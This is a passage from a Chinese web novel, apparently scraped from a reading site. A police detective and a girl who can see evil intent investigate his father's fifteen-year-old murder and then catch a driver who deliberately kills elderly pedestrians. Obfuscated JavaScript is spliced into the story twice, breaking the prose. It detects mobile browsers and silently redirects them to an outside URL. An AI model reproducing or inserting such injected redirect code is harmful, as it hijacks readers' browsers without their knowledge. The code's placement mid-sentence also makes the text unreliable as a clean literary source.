经过这几日的观察,她早已摸透了这个男人骨子里的正义感。他终究抵挡不住这个能伸张正义的机会。 “合作愉快。”她灿烂一笑,纤细的手指与他盈盈交握。随后,在他震惊的目光下,她再度变回了小女孩的模样。 宽大的外套像毯子一样将她整个裹住,只露出个毛茸茸的小脑袋。 “我需要了解你父亲是怎么死了,还要去案发现场看看。如果是最近死的,还可能残留一丝线索,但若去世太久,就很难在现场找到痕迹了。” 贺黎筠的手僵在了半空。 掌心残留的温度与方才柔若无骨的触感形成强烈反差,直到奶声奶气的声音把他拉回了现实。 他喉结滚动了一下:“十五年前的事了。” 他的声音突然变得很轻:“今天太晚了,先休息吧。明天一早,我把父亲案件的资料整理一下,再给你看。” “好的~”薛宓欢快地应着,她不急着解除契约,所以也无所谓哪天再寻凶。 虽然眼前依旧是那个稚气未脱的小女孩,可一旦知晓对方是个成年女性后,贺黎筠实在再难用长辈的心态看待孤男寡女共处一室这件事。 见她好奇地在他的卧室里逛来看去,像只发现新领地的小猫,开始巡视每个角落,摸摸这个,问问那个,贺黎筠将床上三件套换新后,有些不自在地往门外退去:“这个房间给你,我睡沙发。” 薛宓正踮着脚站在椅子上,看他书架上的相框,闻言头也不回地挥了挥肉乎乎的小手:“好啊~” 奶呼呼的语气理所当然得仿佛本该如此。 等房门轻轻合上,薛宓终于取下书架最上层的那个原木相框。 相框里,一位眉眼温婉的中年女子正搂着身穿藏青色警服的贺黎筠。他站得笔直如松,略显青涩的面容绷得紧紧的,一脸严肃地捧着花。 而旁边的全家福中,年幼的贺黎筠被父母拥在中间,小男孩笑得见牙不见眼。站在他身后的男人剑眉星目,□□在阳光下闪闪发亮——想必就是他那英年早逝的父亲。 除了最顶端的相框外,书架上的其他空间都被书籍和文件塞得满满当当。 薛宓随手翻了几页,上面密密麻麻的文字对她犹如天书,她几乎一个都不认识。 而这个空间里没有方才她遇到的那些中年男性身上常见的汗味或烟味,深灰色的床单平整得没有一丝褶皱,书桌上的文件也整齐地堆放着,就像贺黎筠本人一样一丝不苟。 薛宓好奇地戳了戳床头柜上的台灯开关,又凑近闻了闻窗边的绿植。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自从十五年前父亲遇害,十四岁的贺黎筠就和母亲相依为命。现在,他虽在刑警支队大楼附近租了公寓,但每逢周末都会回郊区的老宅陪母亲和外公外婆住两天。 这次连续加班半个月没回家,昨日说好要回却又临时有事没能回来,崔芳华才特意带着拿手菜来探望。 哪想到,从来只和男同事有来往的儿子,竟也带女同事回家过夜了! 崔芳华心里翻江倒海地想,这绝对是关系不一般的征兆,就算现在是同事,未来也有可能是交往的对象! “不是同事,是……” 贺黎筠揉着太阳穴正要解释,卧室门突然“咔哒”一声打开了。 薛宓揉着眼睛晃晃悠悠地走出来,睡裙皱巴巴的:“早饭准备好了吗?我饿了……” 她话说到一半突然顿住,黑溜溜的眼珠盯着客厅里多出来的中年女性——那张和相框里一模一样的脸。 原本睡眼惺忪的小脸,瞬间绽放出甜甜的笑容:“阿姨好~我是被叔叔救回来的,暂时住在这里。” 说着还规规矩矩行了个九十度鞠躬礼,乖巧懂事得看得崔芳华的心都化了。 她立刻上前握住她的小手道:“我这年纪都能当你奶奶了。哎……你这孩子怎么这么瘦啊,来,奶奶这里有好吃的。” 说着,拉着孩子坐到桌边,从保温袋里掏出还冒着热气的八宝粥和糯米鸡。 “还想吃什么,告诉奶奶,奶奶下次给你带。” 故意挥了挥绑着绷带的左手,却被完全无视的贺黎筠:“……” 8. 同居 崔芳华本身就喜欢孩子。 她虽是农村出身,却比同龄人晚婚,二十六岁才生下贺黎筠,如今也不过五十四岁。 老家那些姐妹,这个年纪早就当上了奶奶,孙子孙女都能打酱油了。起初她也不急,觉得城里人都晚婚晚育,孩子该有自己的发展。 可一转眼,儿子都二十九了! 整天就知道查案查案,好不容易局里领导介绍了一个相亲对象,结果就为了蹲个嫌疑人,把人家小姑娘晾在咖啡厅两小时,气得小姑娘直接拉黑了他。 以至于现在,连个女朋友都没有,可把她愁坏了! 虽说现在才二十九,可虚岁已经三十了!都是个奔四的人了! 放到相亲市场,都不会有人相信,这个年纪的男人还是个连女孩子的手都没牵过的处!指不定觉得她儿子是不是某方面有问题才这么大年纪还是个母胎单身…… 崔芳华那个愁呀……所以刚刚看到玄关处那双女鞋时,她满脑子都是“二子终于开窍了”的狂喜,以至于完全没仔细看,这小皮鞋的尺寸,一看就是双童鞋。 而听完小姑娘的遭遇后,崔芳华心头一酸,心疼瞬间漫过了失望。 被杀人犯逃亡中绑架,受惊吓失去记忆,这个遭了大罪的苦命娃,竟至今都没有父母来寻她,不是被拐卖的留守儿童,就是父母双亡的孤儿…… 种种猜测在心头翻涌,最终化作喉间一声叹息。 崔芳华不禁伸手,轻轻抚上了小姑娘的发顶。 小姑娘非但没有躲闪,反而像只亲人的小猫般,主动将脑袋往她掌心蹭了蹭。细软的发丝滑过指缝,带着孩童特有的温暖触感。 这下意识的亲昵动作,让崔芳华再度鼻尖发酸。 她忍不住又摸了摸她的小脸,捏了捏她的小手。 这孩子长得跟童模似的漂亮,就是太瘦了,小脸还没她巴掌大,脸色也过于苍白了,一看就是营养不良的样子。 而她太乖了,失忆的情况竟还不哭不闹,懂事得让人心头发紧。不过现在既然暂住在她儿子家,可得要好好养养了。 温热粗糙的触感让薛宓睫毛轻颤。 她本是认出她是贺黎筠的母亲,为了避免不必要的麻烦才刻意讨好的,可对方眼中流淌的怜爱却烫得她心口发胀。 自有意识以来,从没有人用这种眼神看过她。 她低头望向推到她面前的一碗粥。 住院那七天,每天早晨都是一碗寡淡的白粥,稀得能照见人影,喝得薛宓都对粥抗拒了…… 可眼前这碗八宝粥,藕色的粥汤浓稠莹润,缀着赤豆、蜜枣、莲子、花生、桂圆肉等,五彩缤纷地沉浮其间,蒸腾着甜暖的热气。 薛宓小心地舀了一勺。 桂花蜜的甜香在舌尖炸开,晶莹的藕粉裹着熬得绵密的赤豆,红枣的蜜甜间偶尔咬到脆生生的莲子芯。 暖和的粥汤顺滑进胃里,薛宓第一次吃到这么好吃的东西。 还有那裹在荷叶里的糯米鸡。 糯米蒸得晶莹剔透,一口咬下立刻爆出鲜美的肉汁和流油的咸蛋黄…… 薛宓正默默埋头苦吃时,洗漱完的贺黎筠走了过来,崔芳华连忙盛了碗热粥递过去,直到递碗的时候才猛地僵住。 “你这手……”她反应过来,着急地问,“是救这孩子伤的吗?医生怎么说,严重吗?” “小伤。”贺黎筠含糊地应着,但在崔芳华瞬间红了的目光下,还是低头老老实实地交代了自己住院七天的事情。 果然就听到妈妈声音发颤道:“住院七天都不告诉妈?要不是我今天过来,是不是打算瞒我一辈子了?” “没有,妈。”贺黎筠下意识将受伤的手往身后藏了藏,“就是怕你担心才没说。本来打算昨天回家的……” 他舀了一勺粥,热气氤氲中继续道:“但坐公交时,发现有人携带汽油上车,幸好及时拦截。后来押送回局里做笔录,折腾到半夜就没回去了。” 崔芳华倒抽一口冷气:“这人疯了吧!他是想拉着全车人陪葬吗?” “嗯。”贺黎筠眼神微冷,“被抓后还谎称有精神病。” “幸亏你没事……”崔芳华后怕地拍了拍胸口,声音有些发颤。 “嗯,我没事,妈。”贺黎筠轻轻道。 薛宓偷听着两人的对话。 蒸腾的热气模糊了视线,混着浓郁的香,令她的心口奇怪泛起了一丝陌生的感觉。 崔芳华离开后,贺黎筠将一沓泛黄的档案推到薛宓面前。 盯着密密麻麻的笔录和现场照片,薛宓眉头越皱越紧。半晌,她抬起头,理直气壮道:“看不懂,你总结下。” 她说着,盘腿坐上了沙发,还顺手捞过茶几上的糯米糕咬了一口,活像个等着听故事的小祖宗。 贺黎筠:“……” “我爸贺临川,十五年前是青江市公安局刑侦支队副支队长兼重案队队长,也是连环杀人案专案组组长。”贺黎筠翻开档案,指腹在一张陈旧的照片上停顿,“2005年,他被发现死在废弃工厂,一枪毙命。这是当时的现场图。” 薛宓凑近看那张泛黄的照片,斑驳的水泥地上,身穿藏蓝警服的男人仰面躺着,暗红色的血迹自胸口晕染而开,照片边缘还拍到半截粉笔轮廓线,是标记弹壳位置用的。 “官方结论是□□仇杀,一个月便抓到了凶手。但那个凶手在认罪时连开枪方向和距离都说不清,不到三日就在看守所自杀了。” 薛宓挑眉:“你认为这个人是替罪羊,想要找到这个□□的幕后真凶?” 贺黎筠摇了摇头:“我以前也是这么认为的。那个凶手认罪时,并没有说自己是哪个□□的人。根据调查,我查出他原本隶属于黑虎帮,便顺着线索追了黑虎帮五年,直到去年亲手逮住他们老大。他却在审讯室里赌咒发誓,说他们确实计划过暗杀我爸,但还没来得及动手,我爸就被人抢先一步杀了。” 他眼神一沉:“那个认罪的替死鬼,曾经的确是他们的人,但只是个底层的小马仔。后来犯了事,就被赶出了黑虎帮。□□上,能干掉公安机关正科级领导是光荣事迹。所以得知被赶出去的马仔竟在不久后杀了刑警被捕,而道上都说是他们黑虎帮干的时,他们也就默认了,还因此壮大了势力。” 虽然贺黎筠详细地解释了每一个她听不懂的词汇,可听完整个案件,薛宓仍觉得有些匪夷所思。 她奇怪地问道:“副支队长被□□所杀,应该是深仇大恨吧?为什么他同事和下属没有继续调查凶手所属的□□,还要等到你才查出他原本隶属于黑虎帮,却还是个错误的信息。” “当年枪击案发生后,局里火速成立了专案组,全城搜捕凶手,甚至还开展了一场为期一个月的扫黑专项行动。阵势很大,动静也不小……可最后,却只抓到一个所谓的凶手,案件就匆匆结了案。” 他声音低沉,带着一丝不易察觉的涩意。 “所以,我不是没有怀疑过……局里内部,是不是早就被人渗透了,有了他们的保护伞,才会这么急着盖棺定论,把真相捂死在里面。” “可我爸当刑警队长那些年,秉公执法,得罪的人太多了。□□白道,想让他消失的人,两只手都数不过来。我花了整整五年,像疯了一样死磕黑虎帮,几乎把他们的底裤都翻出来了……可线索,到头来还是断了。” 空气凝滞了片刻,窗外的夜色仿佛也沉了几分。贺黎筠忽然抬起眼凝望着薛宓,声音里压着冰凉的急切:“你能看见人身上的恶念,或许能帮我揪出局里的内鬼。昨天在局里,你有没有注意到谁身上有不寻常的黑雾?” “黑色的恶念要真正动了杀心才会具现化,你那几个年轻同事倒是挺干净,其他人还得再观察观察。” 薛宓歪着头想了想:“比如,昨天那个纵火犯被抓时,周围人散发的就是棕色的气息,这种是讨厌憎恶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472514|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气息,还包含着希望这种伪装精神病的杀人犯直接去死的真心。所以我想,你们警察抓人时也会产生类似的波动,不能单单地看颜色来分辨。” “那我身上呢……”贺黎筠突然轻声问道,“有吗?是……什么颜色……” “有,就在刚刚,溢出来了一点点。有灰黑色,也有棕色……你想亲手杀了那个凶手报仇,对吧?但是,你的职业不允许你手刃仇人,所以你的理智把它压下去了,那些颜色刚一冒头就散了。” 贺黎筠抿了抿干涩的唇:“看来在你面前,谁都藏不住邪念。” “也不尽然。”薛宓晃了晃悬空的小腿,“真正可怕的,是那些连自己都骗过了的恶念。为了净化世界而杀人的审判者,打着‘为民除害''旗号动用私刑的执法者。这些恶念会伪装成正义,扎根在心底最深处……哪怕手上沾满鲜血,他们身上也不会浮现半点黑雾。” 贺黎筠却觉得,以前没有监控、没有指纹、没有DNA鉴定,才导致犯罪很难被发现,甚至经常出现冤假错案,但现在法治社会,天网恢恢,他就不信真的有这种完全不被发现、还被包装成正义的完美犯罪。 沉默片刻后,贺黎筠又从书架上拿出了另一本档案。档案的封面已经泛黄,右上角的“青江市连环杀人案”几个打印的黑色字迹也已褪成了淡灰色,边角处满是翻阅留下的皱痕, “这是我父亲生前调查的最后一个案子。官方记录,凶手的作案时间是从2005年7月到2005年12月,短短五个月。” 薛宓凑近了些,随着档案的翻开,映入眼帘的是里面整齐粘贴的现场照片。 八名年轻女性,年龄在十八到三十五岁之间,多为从事灰色职业的女性。她们被抛弃在城市的各个偏僻角落,脖颈上都缠绕着相似的勒痕,双手被红绳捆绑在身前,摆成虔诚的祈祷姿势。 整齐得令人毛骨悚然。 除此之外,还混入了一名男性流浪汉。 那是一张拍摄于积雪桥洞下的照片。花白胡子的流浪老人蜷缩在角落里,胡须上结着冰碴,脖颈处深紫色的勒痕在苍老的皮肤上显得格外刺眼。 但,与其他受害者不同的是,他的双手并非用红绳捆绑,而是普通的麻绳。而且时间上比第一名女性提早了半年,是2004年12月发生的。 “但在我父亲留下的笔记里,他坚信这个系列案件的真实跨度远不止于此。他认为,这位流浪汉才是整个系列案件中的第一个受害者。但由于性别、作案时间和作案手法的细微差异,当年专案组并没有将他列入连环杀人案的受害者名单。 “是因为绳子不是红色的?” “嗯。但绳结的打法一模一样。是渔夫结,收尾处会多绕两圈。” 他说着,手指移向一张流浪汉的尸检照片。照片里,老人粗糙的手指布满冻疮和裂口,而右手小指处赫然呈现一个整齐的断口,像是被什么利器干脆利落地切断。 “他死后,凶手特意取走了他的一节手指。” 他翻过几页,指向那些女性受害者的照片:“而之后的每个女性受害者,都少了一件贴身物品——耳环、发卡,或是戒指。这说明凶手有强烈的收集癖,而初次作案对他来说意义特殊。” “所以我爸认为,凶手在初次作案时,取走的不是物品,而是死者身体的一部分。正因为是临时起意的冲动杀人,凶手就地取材,用流浪汉自己捆铺盖的麻绳下了手。” “在这次冲动作案后,凶手尝到了杀人的快感,之后就开始有预谋地作案,并特意准备了红绳。至于红绳的特殊意义……可能是某种仪式感,也可能是凶手个人的执念——比如象征束缚、献祭,或者单纯只是他随手选中的标志性手法。” 他顿了顿,轻轻地补充:“这个案子至今未破。所以我也曾想过,会不会是这个连环杀人魔,杀了我爸……但作案手法不同,我爸是被枪杀的,干脆利落,没有那些仪式感的布置。 9. 调查 下午,贺黎筠带着薛宓来到了贺临川遇害的那个废弃工厂。 生锈的铁门半敞着,风呼呼吹过空荡荡的厂房,发出像人呜呜哭一样的回响,只见当年贺临川倒下的位置,只剩下了几块可疑的暗褐色污渍。 站在积满灰尘的水泥地上,薛宓闭上眼睛感受。 没有那种怨恨的气,也没有死人留下的念头,连一点点血的味道都被时间给冲没了。 “太久了。”她睁开眼,脑袋摇了摇,“什么都感觉不出来。” 贺黎筠失望地垂下眸,攥紧了手中的档案袋。 接下来的一周,他们把七名女性被害的地方都跑遍了。 深夜无人的地下通道、郊外荒废的公交站台、老城区昏暗的后巷…… 但始终,什么都没有。 十五年的时光足以消磨太多东西。那些枉死的魂魄早已消散,连最最微弱的那种不甘心的想法都没留下来。 “还剩下最后一个,青江大桥下的涵洞。” 烈日当空,蝉鸣声嘶力竭地撕扯着闷热的空气,揭示着夏日的到来。 汗珠争先恐后地顺着贺黎筠的下颌线滚落,连续数小时的奔波调查让他的白衬衫彻底被汗水浸透,布料紧贴在绷紧的背肌上,勾勒出清晰的肌肉线条,惹得四周路人频频侧目。 明明昨天才二十八度,今天竟直逼三十五度高温…… 贺黎筠抬手抹了把额头的汗水,转头就见薛宓蔫巴巴地蹲在树荫下,像只被晒化的小猫。他微微一愣,转而走向便利店冰柜前,挑了支双色甜筒。 “给。” 薛宓狐疑地接过,小心翼翼地舔了一口。下一秒,她瞳孔骤缩,整个人僵在原地。 香草的柔滑与巧克力的醇厚在口腔交织,冰凉的甜味顺着喉管滑下,让薛宓精神一振。 “这是什么?” 贺黎筠看着小姑娘瞳孔地震的模样,难得笑出声:“五块钱的冰激凌而已。你喜欢吃的话,就再买几个,还有不同口味的。” 话音未落,薛宓已经闪现到冰柜前,整张脸贴在冰凉的玻璃上,眼睛闪闪发亮着。 前往青江大桥的路上,见薛宓撕开第五支冰激凌的包装纸,正等着红灯的贺黎筠连忙伸手阻止:“会拉肚子。” 说着,顺手把她怀里抱着的一大袋子冰激凌都没收进了他的座位底下。 昨日刚拆了绷带的左手搭在方向盘上,骨节分明的手指轻敲着,动作利落如常,看不出半点受伤的痕迹。 “哼,小气鬼。” 薛宓撇撇嘴,转头将脸对准空调的出风口。凉风呼呼地吹起她的刘海,露出光洁的额头。她舒服地眯起眼,像只餍足的猫儿,蜷在副驾驶上昏昏欲睡。 ——他若真小气,也不会特意买保温袋和冰袋给她装冰激凌了。 余光瞥见小姑娘被吹得乱飞的发丝,贺黎筠不动声色地调小了风速。 正午的烈日把车厢烤得发烫,他方才开了最大档冷气。这么对着脸直吹,会感冒的…… 他动作猛地一顿。 突然,后知后觉地反应过来——这个未知生物,会感冒吗? 一个小时后,两人到达了青江大桥的涵洞。 十五年前这里是个阴暗潮湿的废弃桥洞,曾是流浪汉的聚集地。而事发那晚正值暴雪,厚厚的积雪迫使大多数流浪汉另寻住处,直到次日雪停后,才发现了那具冻僵的尸体。 如今经过市政改造重启,青江大桥焕然一新,也经过一系列整治,不再允许流浪汉再次露宿。 这些案发地点,贺黎筠早已倒背如流。 他轻车熟路地带着薛宓走到当年发现尸体的位置。 “就是这里。”他低声道。 薛宓蹲下身,手掌平贴在地面上。冰凉的水泥地透着午后的余温,早已寻不到当年的任何痕迹。 “这里的气息太杂了……”半晌,她像只嗅到异样的猫儿,嫌弃地蹙起鼻尖,“每个在这里露宿过的人,都留下过怨气。他们生活不如意,自然满腹怨气。” 她漫不经心地踢开脚边的小石子。石子骨碌碌地滚进涵洞深处,在粉刷干净的墙面上撞出几声空洞的回响。 贺黎筠顺势打开手机照明灯。 光束刺破涵洞深处的黑暗,飞舞的尘埃在光柱中清晰可见,像无数细小的怨灵在游荡。 “能分辨出十五年前的吗?” “怎么可能……像混在暴雨里的水滴,早就分不清了。” 明明早知道会是这个结果,可熟悉的失望感还是从胃里泛了上来,像是被灌了一口混着冰屑的淤泥,既沉得让人下坠,又粘得喘不过气。 贺黎筠把照片塞回口袋,声音低低的:“走吧。” 回家路上,夕阳西沉,漂亮的暮色将车窗染成了橘红。 只见车窗外,放学的学生们三五成群,嬉笑着走过斑马线。便利店门口,一个小姑娘正拿着刚买的火腿肠,小心地喂着一只怀孕的三花猫。而隔壁奶茶店旁,一个外卖小哥正偷闲地蹲在台阶上,低头刷着手机。 仿佛一切都温馨而美好。 薛宓懒洋洋地靠在窗边,指尖有一下没一下地轻叩着玻璃。晚霞的余晖掠过她纤长的睫毛,在脸颊投下细碎的光斑。 忽的,她叩击的指尖一顿。 只见隔壁车道上,一辆银色面包车的驾驶座里,一个中年男人身上正飘散出浓稠如墨的黑雾。 “贺黎筠!”她迅速指向右侧,声音骤然冷了下来,“那辆银色面包车,司机有问题。” 几乎就在她话音落下的同时,一位老人骑着助动车试图抢黄灯冲过路口。而那辆银色面包车就像完全没看见似的,毫无减速地左转—— “嘀——!!” 刺耳的喇叭声划破空气。贺黎筠一手猛按喇叭,一手急打方向盘。 轮胎与地面摩擦发出刺耳的尖啸,车身一个急转,最终横挡在了那辆摇摇晃晃的助动车前。 “吱——” 银色面包车急刹停下。刺耳的刹车声中,车头因惯性又向前蹿了半米,带起了一股浑浊的气流。 突发的变故吓得老人捏紧刹车。 助动车后轮打滑,车身剧烈摇晃,他面色煞白,单脚撑地,另一条腿还挂在车上,整个人以极其危险的姿势斜倾着,差点连人带车地翻倒在地。 贺黎筠亮出刑警证,冷着脸将两人带到了路旁的树荫下。 “警察同志,我真的没看见!”银色面包车司机周明德,慌忙拿出自己的驾驶证,满脸诚恳地解释,“A柱正好挡住视线,我不知道旁边有人……” 闯黄灯的老人则自知理亏,不停心虚地道歉:“警察同志,我、我晓得错了……”他声音越来越小,“老伴住院等着送饭,我一着急就……下次绝对不敢了,您就当没看见这回事儿……可不可以不要罚钱……” 贺黎筠检查完两人的证件,证件齐全并不是什么逃犯。 而且没有人员伤亡,哪怕交警在场,这场事故最终也只能口头警告。 但贺黎筠相信薛宓的判断——这个叫“周明德”的司机身上翻涌的黑雾绝非偶然。所以第一时间背下了周明德的身份证号和驾驶证号。 眼下,望着他驾车驶离,贺黎筠方向盘一打, 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然后,他就见一向不苟言笑的贺哥,竟从钱包里抽出一张毛爷爷,眼也不眨地就递给了才八岁的小姑娘:“附近有很多店,你想吃什么就去吃吧,随便给我带一份就行。” 楚子琦:……这还是请客都扣扣索索的贺哥吗?八岁小孩吃个饭花一百块是不是有点太奢侈了啊!他晚饭只吃了八块钱买的三明治!!! 望着小姑娘攥着钞票欢快跑远的背影,贺黎筠转身回到了工位。 电脑屏幕的冷光映在他逐渐冷峻的脸上,他修长的手指在键盘上快速敲击,利用警局系统调出了周明德的完整档案。 周明德,42岁,驾驶记录显示: 2015年雨夜,城东路口,撞死一名闯红灯的75岁老人。事故认定:老人全责。 法律从不是谁弱谁有理,而是谁违法谁担责。若驾驶人无过失且事故是由不可抗力、他人过错或意外事件导致,则无需承担刑事责任。 最终周明德以人道主义赔偿30万与其儿子达成了和解。 2017年雨日,高速匝道,与违规变道的轿车相撞,导致轿车当场起火,车内一对老夫妇身亡。责任认定:同等责任。赔偿200万后与其子女和解。 从法律文书和事故认定来看,哪怕死了三个人,事故原因都不是周明德引起的。他就像是无妄之灾,倒霉地卷入了这两起事故里。 而事故后,他没有逃逸,反而第一时间积极地赔偿家属,态度诚恳,所以没有刑事责任,也没有吊销执照。从表面上看,法律简直给了他最公正的裁决。 但,一次是意外,两次是巧合,那第三次呢? 连续两次被撞的都是老人,这次差点被撞的也是老人…… 贺黎筠很难不恶意地揣测……这个人,是不是在看见老人主观犯错后故意去撞? 老人反应慢,容易“被全责”,而老人的子女多会选择拿赔偿和解,甚至有些不孝子女会觉得老人被撞死,自己反而更解脱,根本不会细追肇事者的责任。 若真有反社会人格利用车辆故意杀人,那岂不是钻了法律法规的漏洞? 这样想着,一阵浓郁的油炸香味突然飘来。贺黎筠皱眉望去,就见薛宓抱着一大袋比她脑袋还大的麦当劳纸袋蹦蹦跳跳地进了门。 “这个超好吃!就是钱不够啦,只给你买了儿童套餐,但送了一个小玩具!给你。” 望着纸袋里的迷你汉堡、迷你薯条,迷你玉米杯,以及儿童喝的牛奶盒,而对方将一个碰碰车小玩具放到他面前后,转手就掏出一个比她脸还要大的三层汉堡,美滋滋地坐在他旁边啃了起来…… 贺黎筠:“……” 10. 狩猎 “你的推测没错。”薛宓捏着根薯条,在番茄酱里慢悠悠划了个叉,“恶念早已在周明德心里扎根。寻常人作案失败后会心虚恐惧,就像李武总,黑雾会因恐惧慢慢消散。但周明德不一样。他享受这种刺激,失败反而让他更兴奋了。最迟三天,他一定会再动手。” “需要我帮忙吗?”她笑着歪了歪头。 薛宓能洞见人心的恶念,能通过黑雾浓度的变化预判犯罪,这无疑是天降的外挂。 但贺黎筠却摇了摇头:“警察没你想的那么没用。”他声音虽轻,却字字清晰,“我们会靠自己抓住他。” 他需要薛宓的能力,但不能依赖。 正如办案必须构建完整的证据链,追凶终究要靠现场痕迹和侦查逻辑。那些黑雾浓度、怨气变化,在法庭上连参考价值都没有。 实实在在的证据,才是将罪犯绳之以法的唯一途径。 更何况—— 贺黎筠不动声色地看了眼正叼着薯条的薛宓。 这个来历不明的生物,谁知道她还藏着什么底牌?现在的他,怎么可能就这样轻易交付出信任。 翌日晨会,贺黎筠将自己的分析与推测汇报给了队长邱东奇。 没有物证,没有目击者,只有两起险些酿成事故的行车记录,以及基于行为模式的心理推导。但队里没人敢轻视贺黎筠的直觉。 前年那桩轰动一时的毒驾案,正是贺黎筠凭借OBD数据锁定了嫌疑人吸毒后的行车模式,最终在对方冲向人群前将其截停。 全程录像成为铁证,也让贺黎筠年纪轻轻就成了队里的王牌。 所以仔细看完报告,邱东奇二话没说就签了审批。 于是当天,贺黎筠亲自带队,指挥中心实时定位目标车辆,楚子琦等三名刑警在外围策应,伪装成网约车司机、外卖员等角色,重点记录目标所有异常驾驶行为,包括但不限于刻意贴近老年人、无故急刹、反复探头张望等可疑动作。 技术队则提供后台支持,着手构建周明德的行为模型,分析其活动规律与潜在作案区域。 就这样,贺黎筠带着小队在暗处监视了周明德一周。直到第九天的傍晚,天色骤然阴沉,符合周明德作案的雨夜来临了。 密集的雨点噼里啪啦地砸落下来,很快连成一片滂沱的雨幕。 手指无意识地敲击着方向盘,周明德望着前方模糊的路灯。车窗上的雨滴扭曲了视线,像一层流动的玻璃,将世界切割成碎片。 就像那天——2015年6月17日,也是这样的雨天。 那个老人是从右侧盲区突然出现的,像一只不知死活的飞蛾扑向火焰。周明德甚至没来得及踩刹车,只听见“砰”的一声闷响,接着是玻璃碎裂的清脆声响,老人的身体就如同一滩烂泥砸在了挡风玻璃上。 布满皱纹的脸紧贴在碎裂的玻璃上,浑浊的眼睛因恐惧而瞪大,瞳孔却因绝望无限地缩小。鲜血从老人开裂的眼角渗出,混着雨水在玻璃上蜿蜒。 “救……救……”老人破碎的声音透过玻璃传来,手指无力地在玻璃上抓挠,留下几道挣扎的血痕。 周明德当时整个人僵在座位上,看着生命从那双眼睛里一点点流逝,身体渐渐在挣扎中静止,只剩下雨水冲刷着那张定格在惊恐中的脸。 “滴——”后方车辆的喇叭声将他拉回现实。绿灯亮起,他机械地松开刹车,面包车缓缓前行。 最初几个月,这个画面每晚都会闯入他的梦境。他会大汗淋漓地醒来,心脏狂跳不止,仿佛又回到了那个雨天。但奇怪的是,随着时间推移,噩梦逐渐变成了某种……期待? 周明德舔了舔突然发干的嘴唇。 他发现自己开始主动回忆那个瞬间,不是为了忏悔,而是为了重温那种奇特的快感——看着一个生命在自己面前消逝,那种掌控生死的感觉。 ——他们该死。 这个念头第一次浮现时,他自己都吓了一跳。但很快,这个想法就像癌细胞一样在他脑中扩散。那个老人闯红灯,不守交通规则,难道不该为自己的愚蠢付出代价吗? 2017年3月的一个清晨,同样是一个雨日,周明德在高速匝道口看到了那辆黑色轿车。车内坐着一对白发苍苍的夫妇,老太太正在对老头说着什么,两人脸上带着退休老人特有的那种无忧无虑的笑容。 周明德的眼睛眯了起来。他认识这种笑容。他的父母也是这样的表情,每个月准时出现在他的办公室,伸手要钱。 “你生意做得这么好,给我们点零花钱怎么了?”他们总是这么说,仿佛他生来就是他们的提款机。 黑色轿车突然变道,没有打转向灯,直接插到了他面包车前面。 周明德感到一股热流从脊椎窜上后脑。他的脚从刹车上移开,手指紧紧握住方向盘。这不是意外,这是一次测试,一次机会。 “违反交通规则……”他低声说,声音因兴奋而颤抖,“不守规矩的人……” 撞击的力道让他的身体猛地前倾,安全带勒进肩膀的疼痛却让他满足地发出了一声叹息。 黑色轿车旋转着撞向护栏,油箱破裂,火花四溅。 周明德停下车,冷静地拨打了报警电话,然后坐在驾驶室里,看着火焰吞噬了整个车厢。老夫妇的尖叫声只持续了几秒钟,就被爆裂声淹没了。 交警判定是同等责任,而那次成功后,周明德再也没做过那个噩梦。 相反,他会躺在床上,闭上眼睛,任由记忆中的画面在脑海中重播——老人贴在玻璃上的脸,老夫妇在火焰中挣扎的身影…… 这些画面让他心跳加速,血液沸腾,全身因兴奋而微微发麻。 多么美妙的感觉。 这个世界老龄化越来越严重,像这种倚老卖老、不守规矩的废物,活着也不过是社会的蛀虫。 他只是在替天行道罢了。 清除垃圾。 净化世界。 他几乎要笑出声——为什么自己没能早点发现这样的乐趣? 但前几天,他却失手了…… 思来想去,还是得选雨天。 他喜欢这样的夜晚。 雨水冲刷着路面,掩盖轮胎的痕迹。黑暗模糊了监控的视野,而湿滑的地面,会让刹车变得不可靠。 完美的狩猎场。 他的目光很快锁定了一个佝偻的身影——一个老人,撑着伞,慢悠悠地走着。 绿灯即将转为红灯,周明德的嘴角跟着缓缓地上扬。 这段路他早已踩点多次。没有监控,人行道设在百米开外,那些腿脚不便的老人总爱贪图方便,横穿马路来个“鬼探头”。 而这个老人,他已经第三次看到他了。 他轻踩油门,面包车缓缓加速。 三秒。 老人毫无察觉,依旧低着头,步履蹒跚。 两秒。 周明德的手指收紧,嘴角的笑容却越来越大。 一秒。 他的呼吸变得急促,瞳孔微微扩张,仿佛已经看到老人飞起的身体,听到骨骼碎裂的声音,感受到那种掌控生命的快感—— “砰!” 刺眼的远光灯突然从侧面射来,一辆黑色轿车猛地横插在他前方,硬生生截断了去路! 周明德猛地踩下刹车,轮胎在湿滑的路面上打滑,面包车一个失控,狠狠地撞上了路边的护栏。 他的头重重磕在方向盘上,眼前一阵发黑。 怎么回事? 他甩了甩头,试图让自己清醒。 车窗被敲响。 周明德抬头,看到一张冷峻且熟悉的脸,竟是上次阻碍他的警察!? 不仅如此,他的面包车周围竟还围堵着两辆警车! “周明德,下车。” 心脏骤然收紧,像是被一只无形的手狠狠攥住。 不可能。 他们不可能知道。 他明明计算好了,没有监控,没有目击者,一切都像是意外。 可贺黎筠的眼神明晃晃地告诉他,他们知道!甚至,就等着他动手! “你涉嫌故意杀人。现在,下车,举起手来!” 周明德的呼吸越来越急促,胸口剧烈起伏。 不,不,不! 他们没有证据! 冷静……必须冷静…… 周明德强迫自己放松下来。他缓缓抬起颤抖的手指,解开安全带,脸上适时地浮现出困惑与惊恐交织的表情。 “警官……您是不是搞错了?我只是……只是正常驾驶啊……” 